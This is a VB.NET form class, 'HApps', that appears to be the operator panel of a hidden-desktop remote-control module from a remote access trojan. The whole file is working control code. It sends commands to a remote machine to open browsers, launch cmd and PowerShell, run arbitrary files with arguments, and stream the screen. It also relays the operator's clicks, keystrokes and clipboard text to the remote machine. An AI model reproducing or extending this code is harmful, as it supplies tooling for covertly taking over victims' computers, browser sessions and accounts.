Imports System.Text Imports System.Threading Public Class HApps Public C As Client Public FPS As Integer = 0 Public sw As Stopwatch = Stopwatch.StartNew() Public rdSize As New Size() Private Sub MicrosoftEdgeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MicrosoftEdgeToolStripMenuItem.Click Dim B As Byte() = SB("OpenEdgeBrowser") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub HApps_Load(sender As Object, e As EventArgs) Handles MyBase.Load AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel Guna2ComboBox1.SelectedIndex = 3 Guna2GradientButton1.PerformClick() End Sub Private Sub MyMouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height) If e.Delta < 0 Then Dim B As Byte() = SB("ScrollDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Else Dim B As Byte() = SB("ScrollUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End If End Sub Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Try If Not C.IsConnected Then Close() End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click If Guna2GradientButton1.Text = "OFF" Then Guna2GradientButton1.Text = "Capturing..." Guna2GradientButton1.Image = My.Resources._Stop Dim B As Byte() = SB("HApps+" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Else Guna2GradientButton1.Text = "OFF" Guna2GradientButton1.Image = My.Resources.Play End If End Sub Private Sub GetScreenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetScreenToolStripMenuItem.Click If ListView1.SelectedItems.Count > 0 Then Dim B As Byte() = SB("GetHWND" & SettingsHelper.SPL & ListView1.SelectedItems(0).SubItems(0).Text & SettingsHelper.SPL & ListView1.SelectedItems(0).ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click Dim B As Byte() = SB("Refresh") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub ChromeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChromeToolStripMenuItem.Click Dim B As Byte() = SB("OpenChromeBrowser") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub FireFoxToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FireFoxToolStripMenuItem.Click Dim B As Byte() = SB("OpenFireFoxBrowser") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub BraveToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BraveToolStripMenuItem.Click Dim B As Byte() = SB("OpenBraveBrowser") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub CommandPromptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CommandPromptToolStripMenuItem.Click Dim B As Byte() = SB("OpenCommandPrompt") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub PowerShellToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PowerShellToolStripMenuItem.Click Dim B As Byte() = SB("OpenPowerShell") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub RestoreToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestoreToolStripMenuItem.Click If ListView1.SelectedItems.Count > 0 Then Dim B As Byte() = SB("Restore") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub RestartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem.Click If ListView1.SelectedItems.Count > 0 Then For Each LV As ListViewItem In ListView1.SelectedItems Dim B As Byte() = SB("Restart" & SettingsHelper.SPL & LV.ToolTipText & SettingsHelper.SPL & LV.SubItems(1).Text) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Next End If End Sub Private Sub CloseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem.Click If ListView1.SelectedItems.Count > 0 Then For Each LV As ListViewItem In ListView1.SelectedItems Dim B As Byte() = SB("Close" & SettingsHelper.SPL & LV.SubItems(1).Text) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Next End If End Sub Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height) If e.Button = MouseButtons.Left Then Dim B As Byte() = SB("LeftDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If If e.Button = MouseButtons.Right Then Dim B As Byte() = SB("RightDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End If End Sub Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height) Dim B As Byte() = SB("MoveCursor" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B) End If End Sub Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height) If e.Button = MouseButtons.Left Then Dim B As Byte() = SB("LeftUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If If e.Button = MouseButtons.Right Then Dim B As Byte() = SB("RightUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString()) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End If End Sub Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress If Guna2GradientButton1.Text = "Capturing..." Then Dim B As Byte() = SB("keyboardClick" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(e.KeyChar.ToString()))) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter If Guna2GradientButton1.Text = "Capturing..." Then PictureBox1.Focus() End If End Sub Private Sub HApps_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing Dim B As Byte() = SB("CloseHApps") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub HApps_ResizeEnd(sender As Object, e As EventArgs) Handles Me.ResizeEnd If Guna2ToggleSwitch2.Checked Then Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub Guna2ToggleSwitch2_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch2.MouseClick If Guna2ToggleSwitch2.Checked Then Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub CustomOpenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CustomOpenToolStripMenuItem.Click Using form As CustomOpen = New CustomOpen form.Guna2TextBox1.PlaceholderText = "Filename" form.Guna2TextBox2.PlaceholderText = "Argument" form.StartPosition = FormStartPosition.CenterParent If form.ShowDialog() = DialogResult.OK Then Dim B As Byte() = SB("CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Using End Sub Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click If Guna2GradientButton1.Text = "Capturing..." Then Dim B As Byte() = SB("paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText))) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End If End Sub Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown Try If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then If ListView1.Items.Count > 0 Then For Each x As ListViewItem In ListView1.Items x.Selected = True Next End If End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub End Class